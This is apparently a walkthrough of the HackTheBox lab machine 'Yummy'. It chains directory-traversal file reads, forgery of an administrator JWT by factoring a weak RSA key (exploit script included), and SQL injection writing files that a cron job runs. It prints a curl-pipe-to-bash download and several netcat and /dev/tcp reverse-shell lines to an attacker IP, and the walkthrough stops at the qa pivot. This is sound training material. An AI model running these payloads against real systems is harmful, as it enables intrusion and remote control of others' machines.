Summary
Great box with a webapp LFI turning into modifying a jwt to give access to an admin dashboard. In the dashboard exists SQLi to abuse a script running as a cronjob by writing to 2 files and inducing an error in one of them. With a shell as mysql escalating to www-data takes writing to a cronjob that executes as www-data. Within a testing app variant are qa’s credentials. Pivoting to dev takes running sudo as dev to pull a repo with a defined pull action hook to run arbitrary code. Finally root is achieved with running rsync as sudo with an option to make the owner of the synced files root, allowing an SUID bash to be created by root.
Enumeration
rustscan 10.10.11.36
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.36:22
Open 10.10.11.36:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 22,80 10.10.11.36
Starting Nmap 7.80 ( https://nmap.org ) at 2024-10-11 17:09 UTC
Initiating Ping Scan at 17:09
Scanning 10.10.11.36 [2 ports]
Completed Ping Scan at 17:09, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:09
Completed Parallel DNS resolution of 1 host. at 17:09, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:09
Scanning 10.10.11.36 [2 ports]
Discovered open port 22/tcp on 10.10.11.36
Discovered open port 80/tcp on 10.10.11.36
Completed Connect Scan at 17:09, 0.07s elapsed (2 total ports)
Nmap scan report for 10.10.11.36
Host is up, received syn-ack (0.094s latency).
Scanned at 2024-10-11 17:09:59 UTC for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
nmap -sCV -p 22,80 10.10.11.36
Starting Nmap 7.92 ( https://nmap.org ) at 2024-10-11 12:10 CDT
Nmap scan report for 10.10.11.36
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add that to my /etc/hosts and head on over.
Port 80
dirsearch -u http://yummy.htb
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/6_Season/Yummy/reports/http_yummy.htb/_24-10-11_12-14-56.txt
Target: http://yummy.htb/
[12:14:56] Starting:
[12:15:46] 302 - 199B - /dashboard -> /login
[12:16:00] 200 - 7KB - /login
[12:16:00] 302 - 199B - /logout -> /login
[12:16:13] 200 - 8KB - /register
I did toss out a subdomain scan but nothing came up. Onto manual investigation.
A site used for making reservations, complete with a login/register feature and an internal dashboard for viewing reservations.
Nothing here, so I will make a reservation. First I will check what restrictions are placed on the fields, and try to get some XSS to detonate.
No XSS, looks to be either escaping the tags or properly handling the input. On the dashboard there are two buttons, one to delete (which is maybe vulnerable to idor) and an iCalendar save button that downloads a .ics file to import the calendar event.
The button follows an odd chain though, as it will GET an id corresponding to the reservation id at /reminder/ID, but then get redirected to /export/FILE.ics to download the actual file. Whenever files are hard referenced on endpoints there are a couple things worth trying.
LFI
When I try to GET /export it yields a 404 not found. That might mean it’s a RESTful API that is running code on /export and this might be vulnerable to directory traversal.
GET /export/../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://yummy.htb/dashboard
DNT: 1
Connection: close
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiY3VzdG9tZXJfNDU0Njc2MGEiLCJpYXQiOjE3Mjg2NjcyMTAsImV4cCI6MTcyODY3MDgxMCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxMTgzMjk3NTkyNjE5MDMxNzg3MDA5ODY2OTQ2MjI0MjU2NTEzOTIxNjQ0ODE3MTUwMjM1MzM1ODcwMzM5NDY1OTA4NDkwOTYxNDgyMDQ1NTQxOTI1ODk5MzQ5OTM3Nzg3NTY5MjQ0NTA3MTMwOTI5MTgyNjEzNTEyNjY3MTk1NjIzNjcyNDI1NTgxMTYxOTQzNDk3MzA1NDg5NzcyODU2Mzk0OTc0NDcwOTY4ODMzMjY4MjAyMzg0MDgxMzg5MzUyMjY0MTAwODEwMTc5MzQ4Njk1Njc4NjI4NzcwOTUyMzU4MDIyMzk2Njk1Njc4ODgxMjM5NjUzMDMyNjY3MzUyMDE3NTIwMjQxNTYxNzkzOTQwODEyMjQyMjUxOTc0Mzg5MTk3NzE1MTU4Njg2MjcyNjEyOTQ4MzUwMDEiLCJlIjo2NTUzN319.Bz12rTMFAKpNNkwf_wYd4AUNoNiYFEEfjA1mVtNPXQEIjy1_RgMaMpu57AhkHhGG92nw5tDsmpLg18-ru39OKKDkiFACILee5GWboKXR6Bazp-Qxv-_Te01SSeGxjPdfg2pG-8RWx3X5CK8UsnDq-VauCKUp1Ey_YWExG4QNwBRuRr8; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.Zwll8w.csotfTsnDNLiNBWs-rcmEnPwYsY
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=passwd
Content-Length: 2033
Content-Type: application/octet-stream
Date: Fri, 11 Oct 2024 17:53:20 GMT
Etag: "1727686952.3123646-2033-907283780"
Last-Modified: Mon, 30 Sep 2024 09:02:32 GMT
Server: Caddy
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
--[snip]--
Two things are leaked here, obviously /etc/passwd but secondarily this is a Caddy server. A configuration file for Caddy is located at /etc/caddy/Caddyfile and the contents after GETing /export/../../../../../etc/caddy/Caddyfile is:
:80 {
@ip {
header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
}
redir @ip http://yummy.htb{uri}
reverse_proxy 127.0.0.1:3000 {
header_down -Server
}
}
Another useful file for LFI is the crontab, to investigate what scripts are autorunning and potentially exploitable.
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
GET /export/../../../../../../data/scripts/app_backup.sh
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
Backup zip inside of /opt/app, but maybe I don’t know if the webapp is hosted at /opt so I try to get the one inside of /var/www/.
GET /export/../../../../../../var/www/backupapp.zip grabs me the zip file, I’ll unzip it in the next section after I’ve grabbed everything I deem worth looking through.
GET /export/../../../../../../data/scripts/table_cleanup.sh
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
Potential creds leak?
GET /export/../../../../../../data/scripts/dbmonitor.sh
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
taking inventory
The dbmonitor.sh script looks potentially abusable at some point. It will run any commands inside of files under the name /data/scripts/fixer-v, only after grep fails to find “database is down” inside of /data/scripts/dbstatus.json
Onto the zip.
unzip backupapp.zip
Archive: backupapp.zip
creating: opt/app/
creating: opt/app/middleware/
inflating: opt/app/middleware/verification.py
creating: opt/app/middleware/__pycache__/
inflating: opt/app/middleware/__pycache__/verification.cpython-311.pyc
inflating: opt/app/middleware/__pycache__/verification.cpython-312.pyc
inflating: opt/app/app.py
creating: opt/app/config/
inflating: opt/app/config/signature.py
creating: opt/app/config/__pycache__/
inflating: opt/app/config/__pycache__/signature.cpython-311.pyc
inflating: opt/app/config/__pycache__/signature.cpython-312.pyc
creating: opt/app/templates/
inflating: opt/app/templates/register.html
inflating: opt/app/templates/login.html
inflating: opt/app/templates/index.html
inflating: opt/app/templates/admindashboard.html
inflating: opt/app/templates/dashboard.html
--[snip]--
Interesting template of admindashboard.html, more importantly I now know this is a flask application. I can check app.py to find all defined routes. Additionally I can check for any hard coded passwords besides the one I found.
grep -inR password
grep: config/__pycache__/signature.cpython-312.pyc: binary file matches
grep: config/__pycache__/signature.cpython-311.pyc: binary file matches
config/signature.py:22: password=None,
templates/register.html:99: <label for="password">Password:</label>
templates/register.html:100: <input type="password" id="password" name="password">
templates/register.html:146: password: document.getElementById("password").value
templates/login.html:100: <label for="password">Password:</label>
templates/login.html:101: <input type="password" id="password" name="password">
templates/login.html:140: password: document.getElementById("password").value
grep: __pycache__/app.cpython-312.pyc: binary file matches
app.py:23: 'password': '3wDo7gSRZIwIHRxZ!',
app.py:39: password = request.json.get('password')
app.py:40: password2 = hashlib.sha256(password.encode()).hexdigest()
app.py:41: if not email or not password:
app.py:42: return jsonify(message="email or password is missing"), 400
app.py:47: sql = "SELECT * FROM users WHERE email=%s AND password=%s"
app.py:48: cursor.execute(sql, (email, password2))
app.py:64: return jsonify(message="Invalid email or password"), 401
app.py:81: password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
app.py:82: if not email or not password:
app.py:83: return jsonify(error="email or password is missing"), 400
app.py:93: sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
app.py:94: cursor.execute(sql, (email, password, role_id))
The app.py portion in question is:
db_config = {
'host': '127.0.0.1',
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!',
'database': 'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
}
In searching files in the app directory I came across and interesting python script.
ls config
__pycache__ signature.py
User
shell as mysql
jwt for admindashboard
cat config/signature.py
#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
Hmm, I wonder where this is called inside of app.py
cat app.py | grep -n signature
9:from config import signature
56: 'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
58: access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
cat -n app.py
32 @app.route('/login', methods=['GET','POST'])
33 def login():
34 global access_token
35 if request.method == 'GET':
36 return render_template('login.html', message=None)
37 elif request.method == 'POST':
38 email = request.json.get('email')
39 password = request.json.get('password')
40 password2 = hashlib.sha256(password.encode()).hexdigest()
41 if not email or not password:
42 return jsonify(message="email or password is missing"), 400
43
44 connection = pymysql.connect(**db_config)
45 try:
46 with connection.cursor() as cursor:
47 sql = "SELECT * FROM users WHERE email=%s AND password=%s"
48 cursor.execute(sql, (email, password2))
49 user = cursor.fetchone()
50 if user:
51 payload = {
52 'email': email,
53 'role': user['role_id'],
54 'iat': datetime.now(timezone.utc),
55 'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
56 'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
57 }
58 access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
59
60 response = make_response(jsonify(access_token=access_token), 200)
61 response.set_cookie('X-AUTH-Token', access_token)
62 return response
63 else:
64 return jsonify(message="Invalid email or password"), 401
65 finally:
66 connection.close()
Every login calls the signature.py export_key() method to grab the key then encode a jwt of a defined payload.
Checking all routes I find the aforementioned /admindashboard at line 266.
cat -n app.py | grep 'app.route'
32 @app.route('/login', methods=['GET','POST'])
68 @app.route('/logout', methods=['GET'])
74 @app.route('/register', methods=['GET', 'POST'])
101 @app.route('/', methods=['GET', 'POST'])
105 @app.route('/book', methods=['GET', 'POST'])
152 @app.route('/export/<path:filename>')
179 @app.route('/dashboard', methods=['GET', 'POST'])
201 @app.route('/delete/<appointID>')
241 @app.route('/reminder/<appointID>')
266 @app.route('/admindashboard', methods=['GET', 'POST'])
cat -n app.py
266 @app.route('/admindashboard', methods=['GET', 'POST'])
267 def admindashboard():
268 validation = validate_login()
269 if validation != "administrator":
270 return redirect(url_for('login'))
271
272 try:
273 connection = pymysql.connect(**db_config)
274 with connection.cursor() as cursor:
275 sql = "SELECT * from appointments"
276 cursor.execute(sql)
277 connection.commit()
278 appointments = cursor.fetchall()
279
280 search_query = request.args.get('s', '')
281
282 # added option to order the reservations
283 order_query = request.args.get('o', '')
284
285 sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
286 cursor.execute(sql, ('%' + search_query + '%',))
287 connection.commit()
288 appointments = cursor.fetchall()
289 connection.close()
290
291 return render_template('admindashboard.html', appointments=appointments)
292 except Exception as e:
293 flash(str(e), 'error')
294 return render_template('admindashboard.html', appointments=appointments)
When accessing the admin dashboard it will call the validate_login() function and check if the result isn’t administrator.
166 def validate_login():
167 try:
168 (email, current_role), status_code = verify_token()
169 if email and status_code == 200 and current_role == "administrator":
170 return current_role
171 elif email and status_code == 200:
172 return email
173 else:
174 raise Exception("Invalid token")
175 except Exception as e:
176 return None
There’s the check we need, the current_role is checked specifically to be administrator, and if it is it will pass through the validate_login() function without triggering the redirect. Now I need to check how the verify_token() function works.
grep -inR 'verify_token()'
middleware/verification.py:7:def verify_token():
app.py:168: (email, current_role), status_code = verify_token()
cat middleware/verification.py
#!/usr/bin/python3
from flask import request, jsonify
import jwt
from config import signature
def verify_token():
token = None
if "Cookie" in request.headers:
try:
token = request.headers["Cookie"].split(" ")[0].split("X-AUTH-Token=")[1].replace(";", '')
except:
return jsonify(message="Authentication Token is missing"), 401
if not token:
return jsonify(message="Authentication Token is missing"), 401
try:
data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
current_role = data.get("role")
email = data.get("email")
if current_role is None or ("customer" not in current_role and "administrator" not in current_role):
return jsonify(message="Invalid Authentication token"), 401
return (email, current_role), 200
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired"), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid token"), 401
except Exception as e:
return jsonify(error=str(e)), 500
Uses the X-AUTH-Token to define the jwt, and it checks by decoding then reading the json values. There’s an interesting vulnerability here, where given that I have the script these checks are calling I can call it in the same way to decode a jwt and change the role_id to administrator then encode it back. (maybe add an expiration date years from now in the process).
I’ll grab the jwt and inspect it to verify everything I’ve looked at is right.
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiY3VzdG9tZXJfNDU0Njc2MGEiLCJpYXQiOjE3Mjg2NjcyMTAsImV4cCI6MTcyODY3MDgxMCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxMTgzMjk3NTkyNjE5MDMxNzg3MDA5ODY2OTQ2MjI0MjU2NTEzOTIxNjQ0ODE3MTUwMjM1MzM1ODcwMzM5NDY1OTA4NDkwOTYxNDgyMDQ1NTQxOTI1ODk5MzQ5OTM3Nzg3NTY5MjQ0NTA3MTMwOTI5MTgyNjEzNTEyNjY3MTk1NjIzNjcyNDI1NTgxMTYxOTQzNDk3MzA1NDg5NzcyODU2Mzk0OTc0NDcwOTY4ODMzMjY4MjAyMzg0MDgxMzg5MzUyMjY0MTAwODEwMTc5MzQ4Njk1Njc4NjI4NzcwOTUyMzU4MDIyMzk2Njk1Njc4ODgxMjM5NjUzMDMyNjY3MzUyMDE3NTIwMjQxNTYxNzkzOTQwODEyMjQyMjUxOTc0Mzg5MTk3NzE1MTU4Njg2MjcyNjEyOTQ4MzUwMDEiLCJlIjo2NTUzN319.Bz12rTMFAKpNNkwf_wYd4AUNoNiYFEEfjA1mVtNPXQEIjy1_RgMaMpu57AhkHhGG92nw5tDsmpLg18-ru39OKKDkiFACILee5GWboKXR6Bazp-Qxv-_Te01SSeGxjPdfg2pG-8RWx3X5CK8UsnDq-VauCKUp1Ey_YWExG4QNwBRuRr8
{
"alg": "RS256",
"typ": "JWT"
}
{
"email": "raccoon@raccoon.xyz",
"role": "customer_4546760a",
"iat": 1728667210,
"exp": 1728670810,
"jwk": {
"kty": "RSA",
"n": "118329759261903178700986694622425651392164481715023533587033946590849096148204554192589934993778756924450713092918261351266719562367242558116194349730548977285639497447096883326820238408138935226410081017934869567862877095235802239669567888123965303266735201752024156179394081224225197438919771515868627261294835001",
"e": 65537
}
}
I can modify the signature.py script to perform the actions I need.
In short, since n is a relatively small number and given to us from the above jwt, I can determine p and q, which means I can generate the private key used to sign the jwt. In the code I decode the jwt and find the factors for n and assign them to p and q. Now with p and q I am able to calculate phi_n and d to generate the private key using all 5 variables of n,e,d,p,q. With the new key I change the jwt role to be administrator and then re-encode it and sign it with the found private key.
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
token = "put-jwt-here"
def add_padding(b64_str):
while len(b64_str) % 4 != 0:
b64_str += '='
return b64_str
def base64url_decode(input):
input = add_padding(input)
input = input.replace('-', '+').replace('_', '/')
return base64.b64decode(input)
# Decode the payload
js = json.loads(base64url_decode(token.split(".")[1]).decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
private_key_bytes,
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"
admin_token = jwt.encode(data, private_key, algorithm="RS256")
print(admin_token)
python3 exploit.py
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODY3Mzc3MCwiZXhwIjoxNzI4Njc3MzcwLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjExODMyOTc1OTI2MTkwMzE3ODcwMDk4NjY5NDYyMjQyNTY1MTM5MjE2NDQ4MTcxNTAyMzUzMzU4NzAzMzk0NjU5MDg0OTA5NjE0ODIwNDU1NDE5MjU4OTkzNDk5Mzc3ODc1NjkyNDQ1MDcxMzA5MjkxODI2MTM1MTI2NjcxOTU2MjM2NzI0MjU1ODExNjE5NDM0OTczMDU0ODk3NzI4NTYzOTQ5NzQ0NzA5Njg4MzMyNjgyMDIzODQwODEzODkzNTIyNjQxMDA4MTAxNzkzNDg2OTU2Nzg2Mjg3NzA5NTIzNTgwMjIzOTY2OTU2Nzg4ODEyMzk2NTMwMzI2NjczNTIwMTc1MjAyNDE1NjE3OTM5NDA4MTIyNDIyNTE5NzQzODkxOTc3MTUxNTg2ODYyNzI2MTI5NDgzNTAwMSIsImUiOjY1NTM3fX0.BEP9o69Qxq_uAiB6bqjpRpqUyglWyPy1tA9-ND6g7QDMnVGHeZUqaWc9EZe7F9_H4v3l7Ts-Qn1F7f8qHEBaqc25ecO2pSXHB6eukR4Ymcl-Drmynv9Xxr4-3g6-oCCmFXIFyr5UTUR2L8P66jIR42x4NBf0jdtP0P07EWOXmCM39Vo
And all that’s left to try here is accessing the admin dashboard with the new jwt.
GET /admindashboard HTTP/1.1
Host: yummy.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InJhY2Nvb25AcmFjY29vbi54eXoiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTcyODY3Mzc3MCwiZXhwIjoxNzI4Njc3MzcwLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjExODMyOTc1OTI2MTkwMzE3ODcwMDk4NjY5NDYyMjQyNTY1MTM5MjE2NDQ4MTcxNTAyMzUzMzU4NzAzMzk0NjU5MDg0OTA5NjE0ODIwNDU1NDE5MjU4OTkzNDk5Mzc3ODc1NjkyNDQ1MDcxMzA5MjkxODI2MTM1MTI2NjcxOTU2MjM2NzI0MjU1ODExNjE5NDM0OTczMDU0ODk3NzI4NTYzOTQ5NzQ0NzA5Njg4MzMyNjgyMDIzODQwODEzODkzNTIyNjQxMDA4MTAxNzkzNDg2OTU2Nzg2Mjg3NzA5NTIzNTgwMjIzOTY2OTU2Nzg4ODEyMzk2NTMwMzI2NjczNTIwMTc1MjAyNDE1NjE3OTM5NDA4MTIyNDIyNTE5NzQzODkxOTc3MTUxNTg2ODYyNzI2MTI5NDgzNTAwMSIsImUiOjY1NTM3fX0.BEP9o69Qxq_uAiB6bqjpRpqUyglWyPy1tA9-ND6g7QDMnVGHeZUqaWc9EZe7F9_H4v3l7Ts-Qn1F7f8qHEBaqc25ecO2pSXHB6eukR4Ymcl-Drmynv9Xxr4-3g6-oCCmFXIFyr5UTUR2L8P66jIR42x4NBf0jdtP0P07EWOXmCM39Vo
Upgrade-Insecure-Requests: 1
Success. Always keep your keys and key-related scripts safe kids. Well that or make n a large enough number to not be factorable so simply.
SQLi to RCE*
Recalling back to the /admindashboard route there was some user input placed directly into a mysql query the query came out to be SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}
where the admin can change the search parameter labeled %s and the order (ASC or DESC). The search url follows the format: /admindashboard?s=test%40test.com&o=ASC.
With no protections in place, and since I can modify both parameters, in theory I can write to files very simply and abuse the crontab scripts I found earlier. The basic format of writing to a file in MySQL is ; SELECT "" into outfile "";
where the first string is the data to write into the second string. I can append this to ASC with a semicolon to test.
I will first check if my intuition about the script was correct. I need to write to the file /data/scripts/dbstatus.json with anything but “database is down” and then it will run /usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1
and run whatever the output of that is with bash. So let’s see how that handles a file. I toss whoami into test.sh and run the sequence of commands.
test=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1 test.sh)
$test
raccoon
Excellent it does run the commands outright. Now onto double checking the if statement grep logic:
cat test.json
database is down
if grep -q "database is down" test.json 2>/dev/null; then echo 'successfully failed'; else echo 'fail'; fi;
successfully failed
nano test.json
cat test.json
database is up
if grep -q "database is down" test.json 2>/dev/null; then echo 'successfully failed'; else echo 'fail'; fi;
fail
Great, now in theory if I can write to files with sql injection I can run any command I put into a file beginning with /data/scripts/fixer-v The final part of this exploit is to host a revshell and run it with curl piped into bash. The payloads to inject after ASC pre encoding:
; SELECT "ERROR" into outfile "/data/scripts/dbstatus.json";
; SELECT "curl http://10.10.14.8:8081/raccoonshell.sh|bash" into outfile "/data/scripts/fixer-vraccoon.sh";
cat raccoonshell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.8 7777 >/tmp/f
The GET requests look like:
/admindashboard?s=chris&o=ASC%3b+SELECT+"ERROR"+into+outfile+"/data/scripts/dbstatus.json"%3b
/admindashboard?s=chris&o=ASC%3b+SELECT+"curl+http%3a//10.10.14.8%3a8081/raccoonshell.sh|bash"+into+outfile+"/data/scripts/fixer-vraccoon.sh"%3b
httpserver
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.36 - - [11/Oct/2024 15:23:59] "GET /raccoonshell.sh HTTP/1.1" 200 -
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.36 45054
bash: cannot set terminal process group (8582): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$
shell as www-data
writeable* crontab script
Maybe I can try that database username password pair I found earlier. Notable here that I upgraded my session before doing this.
mysql@yummy:/var/spool/cron$ mysql -u chef yammy_db -p
Enter password:
ERROR 1044 (42000): Access denied for user 'chef'@'localhost' to database 'yammy_db'
Recalling back to the crontab the app_backup.sh was being run by www-data. That was at /data/scripts so in these initial enumeration rounds it is worth checking if I can write there.
mysql@yummy:/data$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Sep 30 08:16 .
drwxr-xr-x 24 root root 4096 Sep 30 08:16 ..
drwxrwxrwx 2 root root 4096 Oct 11 20:45 scripts
And it looks like I can. I’ll repurpose the code for my other reverse shell and use it to get a shell as www-data. I had some issues getting a shell to pop so I added a bunch of shells and one was successful. To get www-data to run my code all I need to do is mv a script with the same name to /data/scripts.
mysql@yummy:/data/scripts$ mv app_backup.sh /tmp/app_backup.sh.1
mysql@yummy:/data/scripts$ nano /tmp/app_backup.sh
mysql@yummy:/data/scripts$ mv /tmp/app_backup.sh .
mv: replace './app_backup.sh', overriding mode 0644 (rw-r--r--)? y
mysql@yummy:/data/scripts$ cat app_backup.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.8/8888 0>&1
0<&196;exec 196<>/dev/tcp/10.10.14.8/8888; bash <&196 >&196 2>&196
exec 5<>/dev/tcp/10.10.14.8/8888;cat <&5 | while read line; do $line 2>&5 >&5; done
bash -i 5<> /dev/tcp/10.10.14.8/8888 0<&5 1>&5 2>&5
bash -i 5<> /dev/tcp/10.10.14.8/8888 0<&5 1>&5 2>&5
nc 10.10.14.8 8888 -e bash
nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.11.36 42266
bash: cannot set terminal process group (24605): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$
User as qa
app-qatesting
Inside of the home directory of www-data there is an /app-qatesting directory. Inside this is a .hg directory. Searching for this online tells me this is Mercurial SCM, an alternative to git that is simpler to use. I can search qa-apptesting and this .hg directory for any potential credentials.
www-data@yummy:~/app-qatesting$ grep -inR password config
config/signature.py:22: password=None,
grep: config/__pycache__/signature.cpython-311.pyc: binary file matches
